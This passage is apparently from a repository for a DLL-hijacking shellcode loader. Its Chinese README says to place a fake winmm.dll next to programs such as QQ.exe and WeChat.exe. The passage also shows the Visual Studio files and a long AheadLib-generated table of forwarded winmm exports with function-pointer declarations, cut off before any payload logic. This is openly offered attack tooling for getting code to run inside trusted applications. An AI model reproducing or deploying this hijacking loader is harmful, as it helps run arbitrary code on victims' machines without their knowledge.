├── README.md ├── Readme.assets └── gif.gif ├── winmm_fb.sln └── winmm_fb ├── ReadMe.txt ├── dllmain.cpp ├── stdafx.cpp ├── stdafx.h ├── targetver.h ├── winmm_fb.cpp ├── winmm_fb.vcxproj └── winmm_fb.vcxproj.filters /README.md: -------------------------------------------------------------------------------- 1 | # [DLLhijack-ShellcodeLoader](https://github.com/LDrakura/DLLhijack-ShellcodeLoader) 2 | 3 | 测试环境: 4 | - **Win10 1803** 5 | - **VS2015** 6 | 7 | 使用方法: 8 | 9 | ​ 将winmm.dll丢到exe同目录下即可。 10 | 11 | ​ 如:QQ.exe Wechat.exe同目录下。 12 | 13 | ~~可对主进程进行判断,以免多次执行shellcode~~ 14 | 15 | ![gif](Readme.assets/gif.gif) 16 | 17 | -------------------------------------------------------------------------------- /Readme.assets/gif.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LDrakura/DLLhijack-ShellcodeLoader/cb5274b3f7bbffb956b6d49dd036cfa8bd3861f8/Readme.assets/gif.gif -------------------------------------------------------------------------------- /winmm_fb.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 14 4 | VisualStudioVersion = 14.0.25420.1 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "winmm_fb", "winmm_fb\winmm_fb.vcxproj", "{D81A280F-DFDD-4D62-8C68-C0D1C2380164}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {D81A280F-DFDD-4D62-8C68-C0D1C2380164}.Debug|x64.ActiveCfg = Debug|x64 17 | {D81A280F-DFDD-4D62-8C68-C0D1C2380164}.Debug|x64.Build.0 = Debug|x64 18 | {D81A280F-DFDD-4D62-8C68-C0D1C2380164}.Debug|x86.ActiveCfg = Debug|Win32 19 | {D81A280F-DFDD-4D62-8C68-C0D1C2380164}.Debug|x86.Build.0 = Debug|Win32 20 | {D81A280F-DFDD-4D62-8C68-C0D1C2380164}.Release|x64.ActiveCfg = Release|x64 21 | {D81A280F-DFDD-4D62-8C68-C0D1C2380164}.Release|x64.Build.0 = Release|x64 22 | {D81A280F-DFDD-4D62-8C68-C0D1C2380164}.Release|x86.ActiveCfg = Release|Win32 23 | {D81A280F-DFDD-4D62-8C68-C0D1C2380164}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | EndGlobal 29 | -------------------------------------------------------------------------------- /winmm_fb/ReadMe.txt: -------------------------------------------------------------------------------- 1 | ======================================================================== 2 | 动态链接库:winmm_fb 项目概述 3 | ======================================================================== 4 | 5 | 应用程序向导已为您创建了此 winmm_fb DLL。 6 | 7 | 本文件概要介绍组成 winmm_fb 应用程序的每个文件的内容。 8 | 9 | 10 | winmm_fb.vcxproj 11 | 这是使用应用程序向导生成的 VC++ 项目的主项目文件,其中包含生成该文件的 Visual C++ 的版本信息,以及有关使用应用程序向导选择的平台、配置和项目功能的信息。 12 | 13 | winmm_fb.vcxproj.filters 14 | 这是使用“应用程序向导”生成的 VC++ 项目筛选器文件。它包含有关项目文件与筛选器之间的关联信息。在 IDE 中,通过这种关联,在特定节点下以分组形式显示具有相似扩展名的文件。例如,“.cpp”文件与“源文件”筛选器关联。 15 | 16 | winmm_fb.cpp 17 | 这是主 DLL 源文件。 18 | 19 | 此 DLL 在创建时不导出任何符号。因此,生成时不会产生 .lib 文件。如果希望此项目成为其他某个项目的项目依赖项,则需要添加代码以从 DLL 导出某些符号,以便产生一个导出库,或者,也可以在项目“属性页”对话框中的“链接器”文件夹中,将“常规”属性页上的“忽略输入库”属性设置为“是”。 20 | 21 | ///////////////////////////////////////////////////////////////////////////// 22 | 其他标准文件: 23 | 24 | StdAfx.h, StdAfx.cpp 25 | 这些文件用于生成名为 winmm_fb.pch 的预编译头 (PCH) 文件和名为 StdAfx.obj 的预编译类型文件。 26 | 27 | ///////////////////////////////////////////////////////////////////////////// 28 | 其他注释: 29 | 30 | 应用程序向导使用“TODO:”注释来指示应添加或自定义的源代码部分。 31 | 32 | ///////////////////////////////////////////////////////////////////////////// 33 | -------------------------------------------------------------------------------- /winmm_fb/dllmain.cpp: -------------------------------------------------------------------------------- 1 | // dllmain.cpp : 定义 DLL 应用程序的入口点。 2 | #include "stdafx.h" 3 | 4 | 5 | // 6 | // created by AheadLib 7 | // github:https://github.com/strivexjun/AheadLib-x86-x64 8 | // 9 | 10 | #include 11 | 12 | #pragma comment( lib, "Shlwapi.lib") 13 | 14 | #pragma comment(linker, "/EXPORT:Noname2=_AheadLib_Unnamed2,@2,NONAME") 15 | #pragma comment(linker, "/EXPORT:mciExecute=_AheadLib_mciExecute,@3") 16 | #pragma comment(linker, "/EXPORT:CloseDriver=_AheadLib_CloseDriver,@4") 17 | #pragma comment(linker, "/EXPORT:DefDriverProc=_AheadLib_DefDriverProc,@5") 18 | #pragma comment(linker, "/EXPORT:DriverCallback=_AheadLib_DriverCallback,@6") 19 | #pragma comment(linker, "/EXPORT:DrvGetModuleHandle=_AheadLib_DrvGetModuleHandle,@7") 20 | #pragma comment(linker, "/EXPORT:GetDriverModuleHandle=_AheadLib_GetDriverModuleHandle,@8") 21 | #pragma comment(linker, "/EXPORT:NotifyCallbackData=_AheadLib_NotifyCallbackData,@9") 22 | #pragma comment(linker, "/EXPORT:OpenDriver=_AheadLib_OpenDriver,@10") 23 | #pragma comment(linker, "/EXPORT:PlaySound=_AheadLib_PlaySound,@11") 24 | #pragma comment(linker, "/EXPORT:PlaySoundA=_AheadLib_PlaySoundA,@12") 25 | #pragma comment(linker, "/EXPORT:PlaySoundW=_AheadLib_PlaySoundW,@13") 26 | #pragma comment(linker, "/EXPORT:SendDriverMessage=_AheadLib_SendDriverMessage,@14") 27 | #pragma comment(linker, "/EXPORT:WOW32DriverCallback=_AheadLib_WOW32DriverCallback,@15") 28 | #pragma comment(linker, "/EXPORT:WOW32ResolveMultiMediaHandle=_AheadLib_WOW32ResolveMultiMediaHandle,@16") 29 | #pragma comment(linker, "/EXPORT:WOWAppExit=_AheadLib_WOWAppExit,@17") 30 | #pragma comment(linker, "/EXPORT:aux32Message=_AheadLib_aux32Message,@18") 31 | #pragma comment(linker, "/EXPORT:auxGetDevCapsA=_AheadLib_auxGetDevCapsA,@19") 32 | #pragma comment(linker, "/EXPORT:auxGetDevCapsW=_AheadLib_auxGetDevCapsW,@20") 33 | #pragma comment(linker, "/EXPORT:auxGetNumDevs=_AheadLib_auxGetNumDevs,@21") 34 | #pragma comment(linker, "/EXPORT:auxGetVolume=_AheadLib_auxGetVolume,@22") 35 | #pragma comment(linker, "/EXPORT:auxOutMessage=_AheadLib_auxOutMessage,@23") 36 | #pragma comment(linker, "/EXPORT:auxSetVolume=_AheadLib_auxSetVolume,@24") 37 | #pragma comment(linker, "/EXPORT:joy32Message=_AheadLib_joy32Message,@25") 38 | #pragma comment(linker, "/EXPORT:joyConfigChanged=_AheadLib_joyConfigChanged,@26") 39 | #pragma comment(linker, "/EXPORT:joyGetDevCapsA=_AheadLib_joyGetDevCapsA,@27") 40 | #pragma comment(linker, "/EXPORT:joyGetDevCapsW=_AheadLib_joyGetDevCapsW,@28") 41 | #pragma comment(linker, "/EXPORT:joyGetNumDevs=_AheadLib_joyGetNumDevs,@29") 42 | #pragma comment(linker, "/EXPORT:joyGetPos=_AheadLib_joyGetPos,@30") 43 | #pragma comment(linker, "/EXPORT:joyGetPosEx=_AheadLib_joyGetPosEx,@31") 44 | #pragma comment(linker, "/EXPORT:joyGetThreshold=_AheadLib_joyGetThreshold,@32") 45 | #pragma comment(linker, "/EXPORT:joyReleaseCapture=_AheadLib_joyReleaseCapture,@33") 46 | #pragma comment(linker, "/EXPORT:joySetCapture=_AheadLib_joySetCapture,@34") 47 | #pragma comment(linker, "/EXPORT:joySetThreshold=_AheadLib_joySetThreshold,@35") 48 | #pragma comment(linker, "/EXPORT:mci32Message=_AheadLib_mci32Message,@36") 49 | #pragma comment(linker, "/EXPORT:mciDriverNotify=_AheadLib_mciDriverNotify,@37") 50 | #pragma comment(linker, "/EXPORT:mciDriverYield=_AheadLib_mciDriverYield,@38") 51 | #pragma comment(linker, "/EXPORT:mciFreeCommandResource=_AheadLib_mciFreeCommandResource,@39") 52 | #pragma comment(linker, "/EXPORT:mciGetCreatorTask=_AheadLib_mciGetCreatorTask,@40") 53 | #pragma comment(linker, "/EXPORT:mciGetDeviceIDA=_AheadLib_mciGetDeviceIDA,@41") 54 | #pragma comment(linker, "/EXPORT:mciGetDeviceIDFromElementIDA=_AheadLib_mciGetDeviceIDFromElementIDA,@42") 55 | #pragma comment(linker, "/EXPORT:mciGetDeviceIDFromElementIDW=_AheadLib_mciGetDeviceIDFromElementIDW,@43") 56 | #pragma comment(linker, "/EXPORT:mciGetDeviceIDW=_AheadLib_mciGetDeviceIDW,@44") 57 | #pragma comment(linker, "/EXPORT:mciGetDriverData=_AheadLib_mciGetDriverData,@45") 58 | #pragma comment(linker, "/EXPORT:mciGetErrorStringA=_AheadLib_mciGetErrorStringA,@46") 59 | #pragma comment(linker, "/EXPORT:mciGetErrorStringW=_AheadLib_mciGetErrorStringW,@47") 60 | #pragma comment(linker, "/EXPORT:mciGetYieldProc=_AheadLib_mciGetYieldProc,@48") 61 | #pragma comment(linker, "/EXPORT:mciLoadCommandResource=_AheadLib_mciLoadCommandResource,@49") 62 | #pragma comment(linker, "/EXPORT:mciSendCommandA=_AheadLib_mciSendCommandA,@50") 63 | #pragma comment(linker, "/EXPORT:mciSendCommandW=_AheadLib_mciSendCommandW,@51") 64 | #pragma comment(linker, "/EXPORT:mciSendStringA=_AheadLib_mciSendStringA,@52") 65 | #pragma comment(linker, "/EXPORT:mciSendStringW=_AheadLib_mciSendStringW,@53") 66 | #pragma comment(linker, "/EXPORT:mciSetDriverData=_AheadLib_mciSetDriverData,@54") 67 | #pragma comment(linker, "/EXPORT:mciSetYieldProc=_AheadLib_mciSetYieldProc,@55") 68 | #pragma comment(linker, "/EXPORT:mid32Message=_AheadLib_mid32Message,@56") 69 | #pragma comment(linker, "/EXPORT:midiConnect=_AheadLib_midiConnect,@57") 70 | #pragma comment(linker, "/EXPORT:midiDisconnect=_AheadLib_midiDisconnect,@58") 71 | #pragma comment(linker, "/EXPORT:midiInAddBuffer=_AheadLib_midiInAddBuffer,@59") 72 | #pragma comment(linker, "/EXPORT:midiInClose=_AheadLib_midiInClose,@60") 73 | #pragma comment(linker, "/EXPORT:midiInGetDevCapsA=_AheadLib_midiInGetDevCapsA,@61") 74 | #pragma comment(linker, "/EXPORT:midiInGetDevCapsW=_AheadLib_midiInGetDevCapsW,@62") 75 | #pragma comment(linker, "/EXPORT:midiInGetErrorTextA=_AheadLib_midiInGetErrorTextA,@63") 76 | #pragma comment(linker, "/EXPORT:midiInGetErrorTextW=_AheadLib_midiInGetErrorTextW,@64") 77 | #pragma comment(linker, "/EXPORT:midiInGetID=_AheadLib_midiInGetID,@65") 78 | #pragma comment(linker, "/EXPORT:midiInGetNumDevs=_AheadLib_midiInGetNumDevs,@66") 79 | #pragma comment(linker, "/EXPORT:midiInMessage=_AheadLib_midiInMessage,@67") 80 | #pragma comment(linker, "/EXPORT:midiInOpen=_AheadLib_midiInOpen,@68") 81 | #pragma comment(linker, "/EXPORT:midiInPrepareHeader=_AheadLib_midiInPrepareHeader,@69") 82 | #pragma comment(linker, "/EXPORT:midiInReset=_AheadLib_midiInReset,@70") 83 | #pragma comment(linker, "/EXPORT:midiInStart=_AheadLib_midiInStart,@71") 84 | #pragma comment(linker, "/EXPORT:midiInStop=_AheadLib_midiInStop,@72") 85 | #pragma comment(linker, "/EXPORT:midiInUnprepareHeader=_AheadLib_midiInUnprepareHeader,@73") 86 | #pragma comment(linker, "/EXPORT:midiOutCacheDrumPatches=_AheadLib_midiOutCacheDrumPatches,@74") 87 | #pragma comment(linker, "/EXPORT:midiOutCachePatches=_AheadLib_midiOutCachePatches,@75") 88 | #pragma comment(linker, "/EXPORT:midiOutClose=_AheadLib_midiOutClose,@76") 89 | #pragma comment(linker, "/EXPORT:midiOutGetDevCapsA=_AheadLib_midiOutGetDevCapsA,@77") 90 | #pragma comment(linker, "/EXPORT:midiOutGetDevCapsW=_AheadLib_midiOutGetDevCapsW,@78") 91 | #pragma comment(linker, "/EXPORT:midiOutGetErrorTextA=_AheadLib_midiOutGetErrorTextA,@79") 92 | #pragma comment(linker, "/EXPORT:midiOutGetErrorTextW=_AheadLib_midiOutGetErrorTextW,@80") 93 | #pragma comment(linker, "/EXPORT:midiOutGetID=_AheadLib_midiOutGetID,@81") 94 | #pragma comment(linker, "/EXPORT:midiOutGetNumDevs=_AheadLib_midiOutGetNumDevs,@82") 95 | #pragma comment(linker, "/EXPORT:midiOutGetVolume=_AheadLib_midiOutGetVolume,@83") 96 | #pragma comment(linker, "/EXPORT:midiOutLongMsg=_AheadLib_midiOutLongMsg,@84") 97 | #pragma comment(linker, "/EXPORT:midiOutMessage=_AheadLib_midiOutMessage,@85") 98 | #pragma comment(linker, "/EXPORT:midiOutOpen=_AheadLib_midiOutOpen,@86") 99 | #pragma comment(linker, "/EXPORT:midiOutPrepareHeader=_AheadLib_midiOutPrepareHeader,@87") 100 | #pragma comment(linker, "/EXPORT:midiOutReset=_AheadLib_midiOutReset,@88") 101 | #pragma comment(linker, "/EXPORT:midiOutSetVolume=_AheadLib_midiOutSetVolume,@89") 102 | #pragma comment(linker, "/EXPORT:midiOutShortMsg=_AheadLib_midiOutShortMsg,@90") 103 | #pragma comment(linker, "/EXPORT:midiOutUnprepareHeader=_AheadLib_midiOutUnprepareHeader,@91") 104 | #pragma comment(linker, "/EXPORT:midiStreamClose=_AheadLib_midiStreamClose,@92") 105 | #pragma comment(linker, "/EXPORT:midiStreamOpen=_AheadLib_midiStreamOpen,@93") 106 | #pragma comment(linker, "/EXPORT:midiStreamOut=_AheadLib_midiStreamOut,@94") 107 | #pragma comment(linker, "/EXPORT:midiStreamPause=_AheadLib_midiStreamPause,@95") 108 | #pragma comment(linker, "/EXPORT:midiStreamPosition=_AheadLib_midiStreamPosition,@96") 109 | #pragma comment(linker, "/EXPORT:midiStreamProperty=_AheadLib_midiStreamProperty,@97") 110 | #pragma comment(linker, "/EXPORT:midiStreamRestart=_AheadLib_midiStreamRestart,@98") 111 | #pragma comment(linker, "/EXPORT:midiStreamStop=_AheadLib_midiStreamStop,@99") 112 | #pragma comment(linker, "/EXPORT:mixerClose=_AheadLib_mixerClose,@100") 113 | #pragma comment(linker, "/EXPORT:mixerGetControlDetailsA=_AheadLib_mixerGetControlDetailsA,@101") 114 | #pragma comment(linker, "/EXPORT:mixerGetControlDetailsW=_AheadLib_mixerGetControlDetailsW,@102") 115 | #pragma comment(linker, "/EXPORT:mixerGetDevCapsA=_AheadLib_mixerGetDevCapsA,@103") 116 | #pragma comment(linker, "/EXPORT:mixerGetDevCapsW=_AheadLib_mixerGetDevCapsW,@104") 117 | #pragma comment(linker, "/EXPORT:mixerGetID=_AheadLib_mixerGetID,@105") 118 | #pragma comment(linker, "/EXPORT:mixerGetLineControlsA=_AheadLib_mixerGetLineControlsA,@106") 119 | #pragma comment(linker, "/EXPORT:mixerGetLineControlsW=_AheadLib_mixerGetLineControlsW,@107") 120 | #pragma comment(linker, "/EXPORT:mixerGetLineInfoA=_AheadLib_mixerGetLineInfoA,@108") 121 | #pragma comment(linker, "/EXPORT:mixerGetLineInfoW=_AheadLib_mixerGetLineInfoW,@109") 122 | #pragma comment(linker, "/EXPORT:mixerGetNumDevs=_AheadLib_mixerGetNumDevs,@110") 123 | #pragma comment(linker, "/EXPORT:mixerMessage=_AheadLib_mixerMessage,@111") 124 | #pragma comment(linker, "/EXPORT:mixerOpen=_AheadLib_mixerOpen,@112") 125 | #pragma comment(linker, "/EXPORT:mixerSetControlDetails=_AheadLib_mixerSetControlDetails,@113") 126 | #pragma comment(linker, "/EXPORT:mmDrvInstall=_AheadLib_mmDrvInstall,@114") 127 | #pragma comment(linker, "/EXPORT:mmGetCurrentTask=_AheadLib_mmGetCurrentTask,@115") 128 | #pragma comment(linker, "/EXPORT:mmTaskBlock=_AheadLib_mmTaskBlock,@116") 129 | #pragma comment(linker, "/EXPORT:mmTaskCreate=_AheadLib_mmTaskCreate,@117") 130 | #pragma comment(linker, "/EXPORT:mmTaskSignal=_AheadLib_mmTaskSignal,@118") 131 | #pragma comment(linker, "/EXPORT:mmTaskYield=_AheadLib_mmTaskYield,@119") 132 | #pragma comment(linker, "/EXPORT:mmioAdvance=_AheadLib_mmioAdvance,@120") 133 | #pragma comment(linker, "/EXPORT:mmioAscend=_AheadLib_mmioAscend,@121") 134 | #pragma comment(linker, "/EXPORT:mmioClose=_AheadLib_mmioClose,@122") 135 | #pragma comment(linker, "/EXPORT:mmioCreateChunk=_AheadLib_mmioCreateChunk,@123") 136 | #pragma comment(linker, "/EXPORT:mmioDescend=_AheadLib_mmioDescend,@124") 137 | #pragma comment(linker, "/EXPORT:mmioFlush=_AheadLib_mmioFlush,@125") 138 | #pragma comment(linker, "/EXPORT:mmioGetInfo=_AheadLib_mmioGetInfo,@126") 139 | #pragma comment(linker, "/EXPORT:mmioInstallIOProcA=_AheadLib_mmioInstallIOProcA,@127") 140 | #pragma comment(linker, "/EXPORT:mmioInstallIOProcW=_AheadLib_mmioInstallIOProcW,@128") 141 | #pragma comment(linker, "/EXPORT:mmioOpenA=_AheadLib_mmioOpenA,@129") 142 | #pragma comment(linker, "/EXPORT:mmioOpenW=_AheadLib_mmioOpenW,@130") 143 | #pragma comment(linker, "/EXPORT:mmioRead=_AheadLib_mmioRead,@131") 144 | #pragma comment(linker, "/EXPORT:mmioRenameA=_AheadLib_mmioRenameA,@132") 145 | #pragma comment(linker, "/EXPORT:mmioRenameW=_AheadLib_mmioRenameW,@133") 146 | #pragma comment(linker, "/EXPORT:mmioSeek=_AheadLib_mmioSeek,@134") 147 | #pragma comment(linker, "/EXPORT:mmioSendMessage=_AheadLib_mmioSendMessage,@135") 148 | #pragma comment(linker, "/EXPORT:mmioSetBuffer=_AheadLib_mmioSetBuffer,@136") 149 | #pragma comment(linker, "/EXPORT:mmioSetInfo=_AheadLib_mmioSetInfo,@137") 150 | #pragma comment(linker, "/EXPORT:mmioStringToFOURCCA=_AheadLib_mmioStringToFOURCCA,@138") 151 | #pragma comment(linker, "/EXPORT:mmioStringToFOURCCW=_AheadLib_mmioStringToFOURCCW,@139") 152 | #pragma comment(linker, "/EXPORT:mmioWrite=_AheadLib_mmioWrite,@140") 153 | #pragma comment(linker, "/EXPORT:mmsystemGetVersion=_AheadLib_mmsystemGetVersion,@141") 154 | #pragma comment(linker, "/EXPORT:mod32Message=_AheadLib_mod32Message,@142") 155 | #pragma comment(linker, "/EXPORT:mxd32Message=_AheadLib_mxd32Message,@143") 156 | #pragma comment(linker, "/EXPORT:sndPlaySoundA=_AheadLib_sndPlaySoundA,@144") 157 | #pragma comment(linker, "/EXPORT:sndPlaySoundW=_AheadLib_sndPlaySoundW,@145") 158 | #pragma comment(linker, "/EXPORT:tid32Message=_AheadLib_tid32Message,@146") 159 | #pragma comment(linker, "/EXPORT:timeBeginPeriod=_AheadLib_timeBeginPeriod,@147") 160 | #pragma comment(linker, "/EXPORT:timeEndPeriod=_AheadLib_timeEndPeriod,@148") 161 | #pragma comment(linker, "/EXPORT:timeGetDevCaps=_AheadLib_timeGetDevCaps,@149") 162 | #pragma comment(linker, "/EXPORT:timeGetSystemTime=_AheadLib_timeGetSystemTime,@150") 163 | #pragma comment(linker, "/EXPORT:timeGetTime=_AheadLib_timeGetTime,@151") 164 | #pragma comment(linker, "/EXPORT:timeKillEvent=_AheadLib_timeKillEvent,@152") 165 | #pragma comment(linker, "/EXPORT:timeSetEvent=_AheadLib_timeSetEvent,@153") 166 | #pragma comment(linker, "/EXPORT:waveInAddBuffer=_AheadLib_waveInAddBuffer,@154") 167 | #pragma comment(linker, "/EXPORT:waveInClose=_AheadLib_waveInClose,@155") 168 | #pragma comment(linker, "/EXPORT:waveInGetDevCapsA=_AheadLib_waveInGetDevCapsA,@156") 169 | #pragma comment(linker, "/EXPORT:waveInGetDevCapsW=_AheadLib_waveInGetDevCapsW,@157") 170 | #pragma comment(linker, "/EXPORT:waveInGetErrorTextA=_AheadLib_waveInGetErrorTextA,@158") 171 | #pragma comment(linker, "/EXPORT:waveInGetErrorTextW=_AheadLib_waveInGetErrorTextW,@159") 172 | #pragma comment(linker, "/EXPORT:waveInGetID=_AheadLib_waveInGetID,@160") 173 | #pragma comment(linker, "/EXPORT:waveInGetNumDevs=_AheadLib_waveInGetNumDevs,@161") 174 | #pragma comment(linker, "/EXPORT:waveInGetPosition=_AheadLib_waveInGetPosition,@162") 175 | #pragma comment(linker, "/EXPORT:waveInMessage=_AheadLib_waveInMessage,@163") 176 | #pragma comment(linker, "/EXPORT:waveInOpen=_AheadLib_waveInOpen,@164") 177 | #pragma comment(linker, "/EXPORT:waveInPrepareHeader=_AheadLib_waveInPrepareHeader,@165") 178 | #pragma comment(linker, "/EXPORT:waveInReset=_AheadLib_waveInReset,@166") 179 | #pragma comment(linker, "/EXPORT:waveInStart=_AheadLib_waveInStart,@167") 180 | #pragma comment(linker, "/EXPORT:waveInStop=_AheadLib_waveInStop,@168") 181 | #pragma comment(linker, "/EXPORT:waveInUnprepareHeader=_AheadLib_waveInUnprepareHeader,@169") 182 | #pragma comment(linker, "/EXPORT:waveOutBreakLoop=_AheadLib_waveOutBreakLoop,@170") 183 | #pragma comment(linker, "/EXPORT:waveOutClose=_AheadLib_waveOutClose,@171") 184 | #pragma comment(linker, "/EXPORT:waveOutGetDevCapsA=_AheadLib_waveOutGetDevCapsA,@172") 185 | #pragma comment(linker, "/EXPORT:waveOutGetDevCapsW=_AheadLib_waveOutGetDevCapsW,@173") 186 | #pragma comment(linker, "/EXPORT:waveOutGetErrorTextA=_AheadLib_waveOutGetErrorTextA,@174") 187 | #pragma comment(linker, "/EXPORT:waveOutGetErrorTextW=_AheadLib_waveOutGetErrorTextW,@175") 188 | #pragma comment(linker, "/EXPORT:waveOutGetID=_AheadLib_waveOutGetID,@176") 189 | #pragma comment(linker, "/EXPORT:waveOutGetNumDevs=_AheadLib_waveOutGetNumDevs,@177") 190 | #pragma comment(linker, "/EXPORT:waveOutGetPitch=_AheadLib_waveOutGetPitch,@178") 191 | #pragma comment(linker, "/EXPORT:waveOutGetPlaybackRate=_AheadLib_waveOutGetPlaybackRate,@179") 192 | #pragma comment(linker, "/EXPORT:waveOutGetPosition=_AheadLib_waveOutGetPosition,@180") 193 | #pragma comment(linker, "/EXPORT:waveOutGetVolume=_AheadLib_waveOutGetVolume,@181") 194 | #pragma comment(linker, "/EXPORT:waveOutMessage=_AheadLib_waveOutMessage,@182") 195 | #pragma comment(linker, "/EXPORT:waveOutOpen=_AheadLib_waveOutOpen,@183") 196 | #pragma comment(linker, "/EXPORT:waveOutPause=_AheadLib_waveOutPause,@184") 197 | #pragma comment(linker, "/EXPORT:waveOutPrepareHeader=_AheadLib_waveOutPrepareHeader,@185") 198 | #pragma comment(linker, "/EXPORT:waveOutReset=_AheadLib_waveOutReset,@186") 199 | #pragma comment(linker, "/EXPORT:waveOutRestart=_AheadLib_waveOutRestart,@187") 200 | #pragma comment(linker, "/EXPORT:waveOutSetPitch=_AheadLib_waveOutSetPitch,@188") 201 | #pragma comment(linker, "/EXPORT:waveOutSetPlaybackRate=_AheadLib_waveOutSetPlaybackRate,@189") 202 | #pragma comment(linker, "/EXPORT:waveOutSetVolume=_AheadLib_waveOutSetVolume,@190") 203 | #pragma comment(linker, "/EXPORT:waveOutUnprepareHeader=_AheadLib_waveOutUnprepareHeader,@191") 204 | #pragma comment(linker, "/EXPORT:waveOutWrite=_AheadLib_waveOutWrite,@192") 205 | #pragma comment(linker, "/EXPORT:wid32Message=_AheadLib_wid32Message,@193") 206 | #pragma comment(linker, "/EXPORT:wod32Message=_AheadLib_wod32Message,@194") 207 | 208 | 209 | PVOID pfnAheadLib_Unnamed2; 210 | PVOID pfnAheadLib_mciExecute; 211 | PVOID pfnAheadLib_CloseDriver; 212 | PVOID pfnAheadLib_DefDriverProc; 213 | PVOID pfnAheadLib_DriverCallback; 214 | PVOID pfnAheadLib_DrvGetModuleHandle; 215 | PVOID pfnAheadLib_GetDriverModuleHandle; 216 | PVOID pfnAheadLib_NotifyCallbackData; 217 | PVOID pfnAheadLib_OpenDriver; 218 | PVOID pfnAheadLib_PlaySound; 219 | PVOID pfnAheadLib_PlaySoundA; 220 | PVOID pfnAheadLib_PlaySoundW; 221 | PVOID pfnAheadLib_SendDriverMessage; 222 | PVOID pfnAheadLib_WOW32DriverCallback; 223 | PVOID pfnAheadLib_WOW32ResolveMultiMediaHandle; 224 | PVOID pfnAheadLib_WOWAppExit; 225 | PVOID pfnAheadLib_aux32Message; 226 | PVOID pfnAheadLib_auxGetDevCapsA; 227 | PVOID pfnAheadLib_auxGetDevCapsW; 228 | PVOID pfnAheadLib_auxGetNumDevs; 229 | PVOID pfnAheadLib_auxGetVolume; 230 | PVOID pfnAheadLib_auxOutMessage; 231 | PVOID pfnAheadLib_auxSetVolume; 232 | PVOID pfnAheadLib_joy32Message; 233 | PVOID pfnAheadLib_joyConfigChanged; 234 | PVOID pfnAheadLib_joyGetDevCapsA; 235 | PVOID pfnAheadLib_joyGetDevCapsW; 236 | PVOID pfnAheadLib_joyGetNumDevs; 237 | PVOID pfnAheadLib_joyGetPos; 238 | PVOID pfnAheadLib_joyGetPosEx; 239 | PVOID pfnAheadLib_joyGetThreshold; 240 | PVOID pfnAheadLib_joyReleaseCapture; 241 | PVOID pfnAheadLib_joySetCapture; 242 | PVOID pfnAheadLib_joySetThreshold; 243 | PVOID pfnAheadLib_mci32Message; 244 | PVOID pfnAheadLib_mciDriverNotify; 245 | PVOID pfnAheadLib_mciDriverYield; 246 | PVOID pfnAheadLib_mciFreeCommandResource; 247 | PVOID pfnAheadLib_mciGetCreatorTask; 248 | PVOID pfnAheadLib_mciGetDeviceIDA; 249 | PVOID pfnAheadLib_mciGetDeviceIDFromElementIDA; 250 | PVOID pfnAheadLib_mciGetDeviceIDFromElementIDW; 251 | PVOID pfnAheadLib_mciGetDeviceIDW; 252 | PVOID pfnAheadLib_mciGetDriverData; 253 | PVOID pfnAheadLib_mciGetErrorStringA; 254 | PVOID pfnAheadLib_mciGetErrorStringW; 255 | PVOID pfnAheadLib_mciGetYieldProc; 256 | PVOID pfnAheadLib_mciLoadCommandResource; 257 | PVOID pfnAheadLib_mciSendCommandA; 258 | PVOID pfnAheadLib_mciSendCommandW; 259 | PVOID pfnAheadLib_mciSendStringA; 260 | PVOID pfnAheadLib_mciSendStringW; 261 | PVOID pfnAheadLib_mciSetDriverData; 262 | PVOID pfnAheadLib_mciSetYieldProc; 263 | PVOID pfnAheadLib_mid32Message; 264 | PVOID pfnAheadLib_midiConnect; 265 | PVOID pfnAheadLib_midiDisconnect; 266 | PVOID pfnAheadLib_midiInAddBuffer; 267 | PVOID pfnAheadLib_midiInClose; 268 | PVOID pfnAheadLib_midiInGetDevCapsA; 269 | PVOID pfnAheadLib_midiInGetDevCapsW; 270 | PVOID pfnAheadLib_midiInGetErrorTextA; 271 | PVOID pfnAheadLib_midiInGetErrorTextW; 272 | PVOID pfnAheadLib_midiInGetID; 273 | PVOID pfnAheadLib_midiInGetNumDevs; 274 | PVOID pfnAheadLib_midiInMessage; 275 | PVOID pfnAheadLib_midiInOpen; 276 | PVOID pfnAheadLib_midiInPrepareHeader; 277 | PVOID pfnAheadLib_midiInReset; 278 | PVOID pfnAheadLib_midiInStart; 279 | PVOID pfnAheadLib_midiInStop; 280 | PVOID pfnAheadLib_midiInUnprepareHeader; 281 | PVOID pfnAheadLib_midiOutCacheDrumPatches; 282 | PVOID pfnAheadLib_midiOutCachePatches; 283 | PVOID pfnAheadLib_midiOutClose; 284 | PVOID pfnAheadLib_midiOutGetDevCapsA; 285 | PVOID pfnAheadLib_midiOutGetDevCapsW; 286 | PVOID pfnAheadLib_midiOutGetErrorTextA; 287 | PVOID pfnAheadLib_midiOutGetErrorTextW; 288 | PVOID pfnAheadLib_midiOutGetID; 289 | PVOID pfnAheadLib_midiOutGetNumDevs; 290 | PVOID pfnAheadLib_midiOutGetVolume; 291 | PVOID pfnAheadLib_midiOutLongMsg; 292 | PVOID pfnAheadLib_midiOutMessage; 293 | PVOID pfnAheadLib_midiOutOpen; 294 | PVOID pfnAheadLib_midiOutPrepareHeader; 295 | PVOID pfnAheadLib_midiOutReset; 296 | PVOID pfnAheadLib_midiOutSetVolume; 297 | PVOID pfnAheadLib_midiOutShortMsg; 298 | PVOID pfnAheadLib_midiOutUnprepareHeader; 299 | PVOID pfnAheadLib_midiStreamClose; 300 | PVOID pfnAheadLib_midiStreamOpen; 301 | PVOID pfnAheadLib_midiStreamOut; 302 | PVOID pfnAheadLib_midiStreamPause; 303 | PVOID pfnAheadLib_midiStreamPosition; 304 | PVOID pfnAheadLib_midiStreamProperty; 305 | PVOID pfnAheadLib_midiStreamRestart; 306 | PVOID pfnAheadLib_midiStreamStop; 307 | PVOID pfnAheadLib_mixerClose; 308 | PVOID pfnAheadLib_mixerGetControlDetailsA; 309 | PVOID pfnAheadLib_mixerGetControlDetailsW; 310 | PVOID 